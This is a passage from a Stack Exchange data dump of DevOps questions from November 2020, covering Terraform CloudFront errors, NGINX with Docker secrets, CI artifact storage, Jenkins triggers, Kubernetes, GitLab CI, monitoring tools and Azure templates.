&#xD;&#xA;      enabled               = var.enabled&#xD;&#xA;      comment               = var.comment&#xD;&#xA;      default_root_object   = var.default_root_object&#xD;&#xA;      aliases               = var.aliases&#xD;&#xA;      is_ipv6_enabled       = var.is_ipv6_enabled&#xD;&#xA;      http_version          = var.http_version&#xD;&#xA;      price_class           = var.price_class&#xD;&#xA;      web_acl_id            = var.web_acl_id&#xD;&#xA;      retain_on_delete      = var.retain_on_delete&#xD;&#xA;      wait_for_deployment   = var.wait_for_deployment&#xD;&#xA;    &#xD;&#xA;      dynamic &quot;origin&quot; {&#xD;&#xA;        for_each  = var.origin&#xD;&#xA;        content {&#xD;&#xA;    &#xD;&#xA;          domain_name   = origin.value.domain_name&#xD;&#xA;          origin_id     = origin.value.origin_id&#xD;&#xA;          origin_path   = origin.value.origin_path&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    &#xD;&#xA;      dynamic &quot;custom_origin_config&quot; {&#xD;&#xA;        for_each  = var.custom_origin_config&#xD;&#xA;        content {&#xD;&#xA;          &#xD;&#xA;          http_port                 = custom_origin_config.value.http_port&#xD;&#xA;          https_port                = custom_origin_config.value.https_port&#xD;&#xA;          origin_protocol_policy    = custom_origin_config.value.origin_protocol_policy&#xD;&#xA;          origin_ssl_protocols      = custom_origin_config.value.origin_ssl_protocols&#xD;&#xA;          origin_keepalive_timeout  = custom_origin_config.value.origin_keepalive_timeout&#xD;&#xA;          origin_read_timeout       = custom_origin_config.value.origin_read_timeout&#xD;&#xA;    &#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;My `vars.tf` :&#xD;&#xA;&#xD;&#xA;    variable &quot;origin&quot;   {&#xD;&#xA;        type        = any&#xD;&#xA;        default     = []&#xD;&#xA;        description = &quot;One or more origins for this distribution (multiples allowed).&quot;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    variable &quot;custom_origin_config&quot; {&#xD;&#xA;        type        = any&#xD;&#xA;        default     = []&#xD;&#xA;        description = &quot;The CloudFront custom origin configuration information. If an S3 origin is required, use s3_origin_config instead.&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;**EDIT 1**&#xD;&#xA;&#xD;&#xA;A made a little changes `main.tf`&#xD;&#xA;&#xD;&#xA;     dynamic &quot;origin&quot; {&#xD;&#xA;        for_each  = var.origin&#xD;&#xA;        content {&#xD;&#xA;    &#xD;&#xA;          domain_name   = origin.value.domain_name&#xD;&#xA;          origin_id     = origin.value.origin_id&#xD;&#xA;          origin_path   = origin.value.origin_path&#xD;&#xA;    &#xD;&#xA;          dynamic &quot;custom_origin_config&quot; {&#xD;&#xA;            for_each  = var.custom_origin_config&#xD;&#xA;            content {&#xD;&#xA;          &#xD;&#xA;            http_port                 = custom_origin_config.value.http_port&#xD;&#xA;            https_port                = custom_origin_config.value.https_port&#xD;&#xA;            origin_protocol_policy    = custom_origin_config.value.origin_protocol_policy&#xD;&#xA;            origin_ssl_protocols      = custom_origin_config.value.origin_ssl_protocols&#xD;&#xA;            origin_keepalive_timeout  = custom_origin_config.value.origin_keepalive_timeout&#xD;&#xA;            origin_read_timeout       = custom_origin_config.value.origin_read_timeout&#xD;&#xA;    &#xD;&#xA;            }&#xD;&#xA;          }&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;and onto `vars.tf`:&#xD;&#xA;&#xD;&#xA;    variable &quot;origin&quot;   {&#xD;&#xA;        type        = any&#xD;&#xA;    #    default     = []&#xD;&#xA;        description = &quot;One or more origins for this distribution (multiples allowed).&quot;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    variable &quot;custom_origin_config&quot; {&#xD;&#xA;        type        = list&#xD;&#xA;    #    default     = []&#xD;&#xA;        description = &quot;The CloudFront custom origin configuration information. If an S3 origin is required, use s3_origin_config instead.&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;**And now the output error change:**&#xD;&#xA;&#xD;&#xA;    Error: Incorrect attribute value type&#xD;&#xA;    &#xD;&#xA;      on ../../../../../terraform-aws-modules/cloudfront_distribution/main.tf line 29, in resource &quot;aws_cloudfront_distribution&quot; &quot;cdn&quot;:&#xD;&#xA;      29:         origin_ssl_protocols      = custom_origin_config.value.origin_ssl_protocols&#xD;&#xA;    &#xD;&#xA;    Inappropriate value for attribute &quot;origin_ssl_protocols&quot;: set of string&#xD;&#xA;    required.&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    Error: Incorrect attribute value type&#xD;&#xA;    &#xD;&#xA;      on ../../../../../terraform-aws-modules/cloudfront_distribution/main.tf line 43, in resource &quot;aws_cloudfront_distribution&quot; &quot;cdn&quot;:&#xD;&#xA;      43:         locations          = geo_restriction.value.location&#xD;&#xA;    &#xD;&#xA;    Inappropriate value for attribute &quot;locations&quot;: set of string required.&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    Error: Incorrect attribute value type&#xD;&#xA;    &#xD;&#xA;      on ../../../../../terraform-aws-modules/cloudfront_distribution/main.tf line 55, in resource &quot;aws_cloudfront_distribution&quot; &quot;cdn&quot;:&#xD;&#xA;      55:       cloudfront_default_certificate  = viewer_certificate.value.cloudfront_default_certificate&#xD;&#xA;    &#xD;&#xA;    Inappropriate value for attribute &quot;cloudfront_default_certificate&quot;: a bool is&#xD;&#xA;    required.&#xD;&#xA;&#xD;&#xA;**Someone has been through this problem, managed to solve it?**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38970" PostHistoryTypeId="2" PostId="12693" RevisionGUID="2f92e69e-9cbd-4fb4-8d0d-be3cd803889c" CreationDate="2020-11-03T23:34:50.097" UserId="23745" Text="I'm trying to load SSL cert/key from the Docker secrets in NGINX configuration (based on that [post][1]) as follow&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;    # TLS config&#xD;&#xA;    ssl_certificate      /run/secrets/localhost.crt;&#xD;&#xA;    ssl_certificate_key  /run/secrets/localhost.key;&#xD;&#xA;    ssl_session_cache    shared:SSL:10m;&#xD;&#xA;    ssl_session_timeout  5m;&#xD;&#xA;    ssl_ciphers          HIGH:!aNULL:!MD5;&#xD;&#xA;    ssl_protocols        TLSv1.1 TLSv1.2;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;but this will error out as&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;2020/11/03 23:25:40 [emerg] 1#1: cannot load certificate &quot;/run/secrets/localhost.crt&quot;: PEM_read_bio_X509_AUX() failed (SSL: error:0909006C:PEM routines:get_name:no start line:Expecting: TRUSTED CERTIFICATE)&#xD;&#xA;&#xD;&#xA;nginx: [emerg] cannot load certificate &quot;/run/secrets/localhost.crt&quot;: PEM_read_bio_X509_AUX() failed (SSL: error:0909006C:PEM routines:get_name:no start line:Expecting: TRUSTED CERTIFICATE)&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;When I will list `/run/secerts` locations I will see cert and key (both with size 0)&#xD;&#xA;&#xD;&#xA;When I will copy cert and key from `/run/secrets` during the build time and update NGINX configuration to&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;   ssl_certificate      /etc/ssl/localhost.crt;&#xD;&#xA;   ssl_certificate_key  /etc/ssl/localhost.key;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;that will work fine.&#xD;&#xA;&#xD;&#xA;Any thoughts why I can't access them directly from `/run/secrets` during the run time?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/engine/swarm/secrets/" ContentLicense="CC BY-SA 4.0" />
  <row Id="38971" PostHistoryTypeId="1" PostId="12693" RevisionGUID="2f92e69e-9cbd-4fb4-8d0d-be3cd803889c" CreationDate="2020-11-03T23:34:50.097" UserId="23745" Text="Containerized NGINX and SSL cert/key from the secret" ContentLicense="CC BY-SA 4.0" />
  <row Id="38972" PostHistoryTypeId="3" PostId="12693" RevisionGUID="2f92e69e-9cbd-4fb4-8d0d-be3cd803889c" CreationDate="2020-11-03T23:34:50.097" UserId="23745" Text="&lt;docker&gt;&lt;nginx&gt;&lt;ssl&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38973" PostHistoryTypeId="2" PostId="12694" RevisionGUID="02513073-66fd-4720-a91e-8fc109de0dc6" CreationDate="2020-11-04T00:04:04.510" UserId="24577" Text="I want to run CI processes that depend on a vendor application which is released periodically as a new ZIP file (about 500MB), downloaded from behind a login on the vendor's website. When a new version of this application is released, I want to be able to download the ZIP to my local machine and then upload it to a private asset store, kicking off CI processes that do things like running integration tests for my custom modules or building privately-hosted docker images for deployment to staging environments.&#xD;&#xA;&#xD;&#xA;I am struggling to figure out the most effective way of storing these ZIP files such that they can be consumed by scripts in repositories hooked up to CI infrastructure. I would like to follow [twelve-factor](https://12factor.net) principles as much as possible. **Here is my thinking on this issue so far**:&#xD;&#xA;&#xD;&#xA;## What I think I want&#xD;&#xA;&#xD;&#xA;Conceptually, I think the ideal solution would be to use some kind of language-agnostic artifact registry that supports private access. In this model, I would have a simple manual process to go through every time a new version of the application is released, whereby I would download the new ZIP file from the website and upload it to the artifact registry under the new version number. &#xD;&#xA;&#xD;&#xA;That would theoretically be the only guaranteed-manual process: automatic CI tools like Snyk or Dependabot would then notice that the latest artifact version has changed, and begin running jobs on my repositories against the new artifact version. On the receiving end, my build scripts (either in a CI environment or running in my dev environment) would invoke a client for this artifact registry which downloads the artifact into a subfolder of the working directory (this subfolder would be `.gitignore`d for dev and cached in the CI environments), making it available for consumption by those build scripts.&#xD;&#xA;&#xD;&#xA;I am currently unaware that such a language-agnostic artifact registry exists. I initially had high hopes for Google Cloud Platform's Artifact Registry, but on further inspection this only provides hosted versions of existing registries like Docker, NPM, and Maven. (In other words, it is not a new language-agnostic artifact registry platform.)&#xD;&#xA;&#xD;&#xA;## What I think my (sub-optimal) options are&#xD;&#xA;&#xD;&#xA;I can think of two possible options based on technology I'm already familiar with. One would be to repurpose some existing registry/package manager technology to handle this opaque ZIP file asset, and just not use any of the package management functionality that integrates module code with a project. Part of me wants to use Docker for this, by uploading a from-scratch docker image that contains only the ZIP file to a private registry. On the receiving end, most CI tools allow the use of docker images as the entire build environment, or as a service dependency (like a database or caching layer). In the former case, I would need to build in all of the rest of my tooling into the image, which defeats the purpose of having this artifact as an uncoupled dependency. In the latter case, I don't know of any docker functionality that exports a container's contents as a filesystem for use by other containers (this also feels rather counter to containerization philosophy), but I could conceivably build a docker image that provides a web server endpoint that can allow other processes running on the same host to &quot;download&quot; these ZIP files from it quickly. This feels... clunky, however.&#xD;&#xA;&#xD;&#xA;The other option would be to DIY a rudimentary private &quot;registry&quot; using some password-protected S3-style object storage and HTTP calls from cURL or Invoke-WebRequest (or perhaps an S3 API client). I think I probably could do this successfully, but... this _can't_ be the optimal solution, can it?&#xD;&#xA;&#xD;&#xA;I've also recently started thinking about Git-LFS as a possible solution (I am not very experienced with Git-LFS but I understand the concept), but I would not want to include the ZIP file itself in _each_ repo that consumes it, since this requires more manual updating every time a new version comes out. I could see potentially having a single repo contain the ZIP files using Git-LFS, and then including this single repo as a submodule of all of the projects that depend on it. I am not afraid of git submodules, but I do not know how they interact with Git-LFS, and I don't know what kind of support tools like Snyk/Dependabot have for updating branch-tracked submodules.&#xD;&#xA;&#xD;&#xA;## What I've tried&#xD;&#xA;&#xD;&#xA;Previously, my solution for keeping these ZIP artifacts separate from my code has been to store them in a developer-accessible file share (on LAN network-attached storage), and pass the path of this share to my build tool using an environment variable. But this file share isn't particularly accessible to CI tools running in the cloud. I could see replacing this with Google Drive or a similar service, but them I'm still in the position of basically implementing a package manager client to operate as part of my build scripts. (And then probably packaging that client up and distributing it from a package registry...)&#xD;&#xA;&#xD;&#xA;While writing this, I've also come across some other tools like JFrog Artifactory and Sonatype Nexus, which may be helping me aim in the right direction (&quot;Binary artifact repositories&quot;)." ContentLicense="CC BY-SA 4.0" />
  <row Id="38974" PostHistoryTypeId="1" PostId="12694" RevisionGUID="02513073-66fd-4720-a91e-8fc109de0dc6" CreationDate="2020-11-04T00:04:04.510" UserId="24577" Text="How can I provide an unpackaged vendor binary to my build environment?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38975" PostHistoryTypeId="3" PostId="12694" RevisionGUID="02513073-66fd-4720-a91e-8fc109de0dc6" CreationDate="2020-11-04T00:04:04.510" UserId="24577" Text="&lt;continuous-integration&gt;&lt;artifacts&gt;&lt;dependency-management&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38977" PostHistoryTypeId="5" PostId="12692" RevisionGUID="b3e56d34-05be-42c5-9eeb-e82eff23e7b6" CreationDate="2020-11-04T03:32:24.623" UserId="23864" Comment="added 2 characters in body" Text="I am trying to trigger a jenkins pipeline job only when a pull request has been approved &amp; merged to a specific github branch in our CI/CD implementation.&#xD;&#xA;&#xD;&#xA;currently whenever i merge a PR to *release*, jenkins job that is created to get triggered when PR is merged to *master* is also getting triggered, while I only want *release* jenkins job to be triggered.&#xD;&#xA;&#xD;&#xA;strangely *echo env.GIT_BRANCH* cmd shows branch name as MASTER in *master* job, parallelly *release* job shows branch as RELEASE, when i only merged PR to release.&#xD;&#xA; &#xD;&#xA;Things tried:&#xD;&#xA;1. *Branches to build* feature in Jenkins&#xD;&#xA;2. *when* condition in Jenkinsfile (its acting weird, both staging and production jobs are getting triggered when one branch is targetted)&#xD;&#xA;&#xD;&#xA;Environment:&#xD;&#xA;*Jenkins ver. 2.176.3, Docker,Generic webhook trigger* for Jenkins&#xD;&#xA;&#xD;&#xA;I'm convinced that when condition will work, but for me it isn't, following is my partial *when* condition in Jenkinsfile:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;stage(&quot;Step 1: Build Docker&quot;){}&#xD;&#xA;stage(&quot;Step 2: Push to DockerHub&quot;){}&#xD;&#xA;stage(&quot;Step 3: Production Deployment&quot;){&#xD;&#xA;            when {&#xD;&#xA;                expression { return params.current_status == &quot;closed&quot; &amp;&amp; params.merged == true &amp;&amp; env.GIT_BRANCH == &quot;origin/master&quot; }&#xD;&#xA;            }&#xD;&#xA;            steps{&#xD;&#xA;                -----&#xD;&#xA;                sh 'kubectl apply -f **.yaml'&#xD;&#xA;            }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;In my jenkinsfile I'm writing logic to deploy my docker images to kubernetes cluster, so all that i  am looking for is to accurately trigger the job based on the branch.&#xD;&#xA;&#xD;&#xA;Any suggestions on how to get it to work, what am i missing here?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38978" PostHistoryTypeId="2" PostId="12695" RevisionGUID="b856911b-d236-43f7-a1fb-512627b4f60f" CreationDate="2020-11-04T05:37:46.923" UserId="24583" Text="Does Azure DevOps 2019 Proxy server (formerly TFS proxy server) support Git repositories? The documentation only mentions TFVC repositories, and it works great, but we are not sure if Git repositories can be configured to use Azure DevOps (TFS) proxy (not to confuse with regular Web proxy). Appreciate any help!" ContentLicense="CC BY-SA 4.0" />
  <row Id="38979" PostHistoryTypeId="1" PostId="12695" RevisionGUID="b856911b-d236-43f7-a1fb-512627b4f60f" CreationDate="2020-11-04T05:37:46.923" UserId="24583" Text="Azure DevOps proxy for Git" ContentLicense="CC BY-SA 4.0" />
  <row Id="38980" PostHistoryTypeId="3" PostId="12695" RevisionGUID="b856911b-d236-43f7-a1fb-512627b4f60f" CreationDate="2020-11-04T05:37:46.923" UserId="24583" Text="&lt;azure-devops&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38981" PostHistoryTypeId="2" PostId="12696" RevisionGUID="ba05f0f5-4134-4fab-8a78-c6d5fecdbdc3" CreationDate="2020-11-04T06:26:49.397" UserId="24584" Text="I am working on a home-made C#.NET kubernetes dashboard admin. I want to implement custom resources in this project but would like to avoid writing the CustomResourceDefinition models in C# by hand.&#xD;&#xA;&#xD;&#xA;I've tried to use the [kubernetes/code-generator](https://github.com/kubernetes/code-generator) repository but am going down a rabbit hole. I know close to nothing about GO and, considering how little documentation I could find regarding the usage of this tool I assumed it would be straightforward.&#xD;&#xA;&#xD;&#xA;It isn't. I feel my lack of knowledge of GO, its tooling and ecosystem mean I am probably missing the obvious, but I'd like to avoid spending a week learning it just to save a few hours of writing a C# model.&#xD;&#xA;&#xD;&#xA;Among other things, I couldn't get the code-generator to run because of a missing package named &quot;.&quot; (a full-stop). &#xD;&#xA;&#xD;&#xA;Thus my question: How can I generate C# models for Kubernetes CustomeResourceDefinitions without using GO or, at least, with an easy and well documented technique ?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38982" PostHistoryTypeId="1" PostId="12696" RevisionGUID="ba05f0f5-4134-4fab-8a78-c6d5fecdbdc3" CreationDate="2020-11-04T06:26:49.397" UserId="24584" Text="Generating C# client from Kubernetes for CustomResourceDefinitions without GO" ContentLicense="CC BY-SA 4.0" />
  <row Id="38983" PostHistoryTypeId="3" PostId="12696" RevisionGUID="ba05f0f5-4134-4fab-8a78-c6d5fecdbdc3" CreationDate="2020-11-04T06:26:49.397" UserId="24584" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38984" PostHistoryTypeId="2" PostId="12697" RevisionGUID="08815792-a0ce-43cf-8227-9956921fccf0" CreationDate="2020-11-04T07:38:35.997" UserId="24586" Text="I am running production code within an active docker container. &#xD;&#xA;I would like to use the Gitlab CI tool to auto deploy changes to the production environment WITHIN the docker container. &#xD;&#xA; &#xD;&#xA;I am having trouble finding a clean way to do this. &#xD;&#xA;&#xD;&#xA;One idea I have is to simply log into the docker container as part of the gitlab-ci automation script&#xD;&#xA;&#xD;&#xA; - docker exec -it 82jf72h8dj2 bash&#xD;&#xA; - then git pull from the appropriate directory&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;In theory, this will work... but what happens when the docker ID changes? Is there any way to detect this as part of the script? I would hate to have to keep updating the CICD variable since the docker ID seems to change fairly often... &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38985" PostHistoryTypeId="1" PostId="12697" RevisionGUID="08815792-a0ce-43cf-8227-9956921fccf0" CreationDate="2020-11-04T07:38:35.997" UserId="24586" Text="Gitlab CI - Deploy to an active docker container" ContentLicense="CC BY-SA 4.0" />
  <row Id="38986" PostHistoryTypeId="3" PostId="12697" RevisionGUID="08815792-a0ce-43cf-8227-9956921fccf0" CreationDate="2020-11-04T07:38:35.997" UserId="24586" Text="&lt;docker&gt;&lt;gitlab&gt;&lt;cicd&gt;&lt;gitlab-ci-runner&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38988" PostHistoryTypeId="2" PostId="12698" RevisionGUID="9598f2e9-28a4-45e1-8e09-b2a28ae6dec5" CreationDate="2020-11-04T13:09:42.600" UserId="19083" Text="I'm looking for the best on-premise solution for application monitoring.&#xD;&#xA;Requirements:&#xD;&#xA;1) App exposes `/health` endpoint&#xD;&#xA;2) Monitoring periodically pings http endpoint&#xD;&#xA;3) Monitoring solution provides nice web UI/dashboard for the uptime overview&#xD;&#xA;4) There is customizable alerting module for downtime events (email/slack/webhook/etc)&#xD;&#xA;5) Free/open-source&#xD;&#xA;&#xD;&#xA;Currently I've tried Kibana + Uptime (but it requires license for alerting) and Grafana (also required purchase for [worldPing plugin](https://grafana.com/grafana/plugins/raintank-worldping-app)). Additionally, standalone app is preferred (e.g. instead of AWS CloudWatch/Healthchecks or Azure Application Insights)" ContentLicense="CC BY-SA 4.0" />
  <row Id="38989" PostHistoryTypeId="1" PostId="12698" RevisionGUID="9598f2e9-28a4-45e1-8e09-b2a28ae6dec5" CreationDate="2020-11-04T13:09:42.600" UserId="19083" Text="Best hosted uptime monitor solution" ContentLicense="CC BY-SA 4.0" />
  <row Id="38990" PostHistoryTypeId="3" PostId="12698" RevisionGUID="9598f2e9-28a4-45e1-8e09-b2a28ae6dec5" CreationDate="2020-11-04T13:09:42.600" UserId="19083" Text="&lt;monitoring&gt;&lt;kibana&gt;&lt;healthcheck&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38991" PostHistoryTypeId="2" PostId="12699" RevisionGUID="4380a186-4efc-4630-9cb5-8f6fbaee0021" CreationDate="2020-11-04T13:14:57.463" UserId="19083" Text="So basically I've ended up turning these flags off (`/app/management/kibana/settings`)&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;filterEditor:suggestValues&#xD;&#xA;discover:searchOnPageLoad&#xD;&#xA;doc_table:highlight&#xD;&#xA;visualize:enableLabs&#xD;&#xA;telemetry:enabled&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Other ideas I had in mind:&#xD;&#xA;&#xD;&#xA;* adding nginx as a proxy caching all the static files (js for plugins / images)&#xD;&#xA;* warmup script (periodically makes requests to predefined hot pages for Kibana to internally cache these pages) if that would work&#xD;&#xA;* migrate to hosted cloud solution which might be optimized better for the loading time" ContentLicense="CC BY-SA 4.0" />
  <row Id="38992" PostHistoryTypeId="2" PostId="12700" RevisionGUID="d8580066-b05d-4885-b9d7-007f3e2cead8" CreationDate="2020-11-04T15:10:06.223" UserId="24596" Text="According to the [blog post][1] since september/2020 and up to december/2020 instance type t4g will be available. I'm trying to create a machine, on one of the right zones (Oregon) according the FAQ, and using the right AMI, also according to the [FAQ][2]&#xD;&#xA;&#xD;&#xA;So why I cannot choose those machines?&#xD;&#xA;&#xD;&#xA;As you can see on the screenshot, t3a are eligible, but all t4g not:&#xD;&#xA;&#xD;&#xA;[![enter image description here][3]][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/blogs/aws/new-t4g-instances-burstable-performance-powered-by-aws-graviton2/&#xD;&#xA;  [2]: https://aws.amazon.com/ec2/faqs/#t4g-instances&#xD;&#xA;  [3]: https://i.stack.imgur.com/ZIKv8.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="38993" PostHistoryTypeId="1" PostId="12700" RevisionGUID="d8580066-b05d-4885-b9d7-007f3e2cead8" CreationDate="2020-11-04T15:10:06.223" UserId="24596" Text="AWS t4g instance type not eligible" ContentLicense="CC BY-SA 4.0" />
  <row Id="38994" PostHistoryTypeId="3" PostId="12700" RevisionGUID="d8580066-b05d-4885-b9d7-007f3e2cead8" CreationDate="2020-11-04T15:10:06.223" UserId="24596" Text="&lt;amazon-ec2&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38996" PostHistoryTypeId="2" PostId="12702" RevisionGUID="dee72c02-699d-465c-8a2b-db01cca59548" CreationDate="2020-11-04T15:57:08.307" UserId="24597" Text="I am using Dynamic inventory to get the latest Ec2 Ip addresses.&#xD;&#xA;&#xD;&#xA;I have paramter files under host_vars folder .Each parameter file will have placements for ENI's attached to a particluar EC2 machine&#xD;&#xA;&#xD;&#xA;for Ex: EC2 machine name is as1nsp13 and 3 ENi's attached to this machine with ip addresses of 10.101.44.73,10.101.42.73,10.101.16.73 so parameter file look like below&#xD;&#xA;&#xD;&#xA;Interfaces:&#xD;&#xA;  - {Name: &quot;eth0&quot;, IP: &quot;10.101.44.73&quot;, Prefix: 23}&#xD;&#xA;  - {Name: &quot;eth1&quot;, IP: &quot;10.101.42.73&quot;, Prefix: 23}&#xD;&#xA;  - {Name: &quot;eth2&quot;, IP: &quot;10.101.16.73&quot;, Prefix: 20}&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;My Question is how do i get these 3 ENI IP's and update the parameter file with lates ENI ip's?Is that possible using dynamic inventory concept?or do i need to se AWS CLI and some sheel script to update the parameter file?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38997" PostHistoryTypeId="1" PostId="12702" RevisionGUID="dee72c02-699d-465c-8a2b-db01cca59548" CreationDate="2020-11-04T15:57:08.307" UserId="24597" Text="update Ansible files located under host_vars" ContentLicense="CC BY-SA 4.0" />
  <row Id="38998" PostHistoryTypeId="3" PostId="12702" RevisionGUID="dee72c02-699d-465c-8a2b-db01cca59548" CreationDate="2020-11-04T15:57:08.307" UserId="24597" Text="&lt;ansible-inventory&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38999" PostHistoryTypeId="2" PostId="12703" RevisionGUID="beaa26c7-3183-4707-9240-2540576cb684" CreationDate="2020-11-04T15:57:47.317" UserId="24598" Text="I have a host ubuntu 20.04 running my software on docker with a container derivated from ubuntu 18.04. I would like to use ubuntu 20.04 for several reasons (like the better software on 20.04).&#xD;&#xA;If I run do-release-upgrade on the container terminal I receive the following:&#xD;&#xA;&quot;do-release-upgrade &#xD;&#xA;Checking for a new Ubuntu release&#xD;&#xA;You have not rebooted after updating a package which requires a reboot. Please reboot before upgrading.&quot;&#xD;&#xA;Rebooting the container or rebooting the host machine does not solve the problem." ContentLicense="CC BY-SA 4.0" />
  <row Id="39000" PostHistoryTypeId="1" PostId="12703" RevisionGUID="beaa26c7-3183-4707-9240-2540576cb684" CreationDate="2020-11-04T15:57:47.317" UserId="24598" Text="Can I upgrade a docker image/container from buntu 18.04 to ubuntu 20.04?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39001" PostHistoryTypeId="3" PostId="12703" RevisionGUID="beaa26c7-3183-4707-9240-2540576cb684" CreationDate="2020-11-04T15:57:47.317" UserId="24598" Text="&lt;docker&gt;&lt;containers&gt;&lt;linux&gt;&lt;ubuntu&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39002" PostHistoryTypeId="2" PostId="12704" RevisionGUID="c56c61d4-40fc-4217-bd02-220c1a8e8d17" CreationDate="2020-11-04T17:44:24.890" UserId="24600" Text="We have an on-premises Azure DevOps Server and like to use the Git workflow &quot;Fork-Clone-Push-PR&quot;.&#xD;&#xA;&#xD;&#xA;In the moment of forking the system let allow us decide into which project and under which name the repository should get forked.  &#xD;&#xA;Forking it in the same project would mean tons of such forks after a while, which looks ugly.&#xD;&#xA;&#xD;&#xA;So a dedicated project &quot;Forks&quot; might be the solution to host all these forks. But is this a nice option?&#xD;&#xA;&#xD;&#xA;Are there any best practices or tips &amp; tricks on how we should proceed?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39003" PostHistoryTypeId="1" PostId="12704" RevisionGUID="c56c61d4-40fc-4217-bd02-220c1a8e8d17" CreationDate="2020-11-04T17:44:24.890" UserId="24600" Text="Best practices to maintain forks of Git repository in an on-prem Azure DevOps Server" ContentLicense="CC BY-SA 4.0" />
  <row Id="39004" PostHistoryTypeId="3" PostId="12704" RevisionGUID="c56c61d4-40fc-4217-bd02-220c1a8e8d17" CreationDate="2020-11-04T17:44:24.890" UserId="24600" Text="&lt;git&gt;&lt;azure-devops&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39007" PostHistoryTypeId="2" PostId="12705" RevisionGUID="e74ce3bc-6583-4526-82ad-57fb4df73293" CreationDate="2020-11-05T04:30:11.697" UserId="24606" Text="I'm attempting to create a backend address pool via an ARM template for a load balancer with the following code:&#xD;&#xA;&#xD;&#xA;                &quot;type&quot;: &quot;Microsoft.Network/loadBalancers/backendAddressPools&quot;,&#xD;&#xA;            &quot;apiVersion&quot;: &quot;2020-05-01&quot;,&#xD;&#xA;            &quot;name&quot;: &quot;[concat(variables('engineLbName'), '/LoadBalancerBEAddressPool')]&quot;,&#xD;&#xA;            &quot;dependsOn&quot;: [&#xD;&#xA;                &quot;[resourceId('Microsoft.Network/loadBalancers', variables('engineLbName'))]&quot;&#xD;&#xA;            ],&#xD;&#xA;            &quot;properties&quot;: {}&#xD;&#xA;&#xD;&#xA;The loadbalancer it is targetting is using a basic SKU. When i attempt to deploy this arm template through the azure portal, I am given the following error message:&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;    &quot;error&quot;: {&#xD;&#xA;        &quot;code&quot;: &quot;BackendOperationOnlyAllowedForStandardLB&quot;,&#xD;&#xA;        &quot;message&quot;: &quot;Operation on backend pool /subscriptions/****/resourceGroups/*******/providers/Microsoft.Network/loadBalancers/LB-engine/backendAddressPools/LoadBalancerBEAddressPool not allowed. This operation is only allowed for standard SKU load balancers.&quot;,&#xD;&#xA;        &quot;details&quot;: []&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;Obviously, this indicates that i need to make my LB/LBIP of a standard SKU, however i specifically need this done on a basic SKU.&#xD;&#xA;&#xD;&#xA;I am very confused as to why this error occurs, as we have many basic LB's that have backend configuration, and you are freely able to create a BE pool through the portal on a basic LB - I am unsure on how to do this via an ARM template." ContentLicense="CC BY-SA 4.0" />
  <row Id="39008" PostHistoryTypeId="1" PostId="12705" RevisionGUID="e74ce3bc-6583-4526-82ad-57fb4df73293" CreationDate="2020-11-05T04:30:11.697" UserId="24606" Text="Create backend Address pool for basic load balancer azure arm template" ContentLicense="CC BY-SA 4.0" />
  <row Id="39009" PostHistoryTypeId="3" PostId="12705" RevisionGUID="e74ce3bc-6583-4526-82ad-57fb4df73293" CreationDate="2020-11-05T04:30:11.697" UserId="24606" Text="&lt;azure&gt;&lt;load-balance&gt;" ContentLicense="CC BY-SA 4.0" />
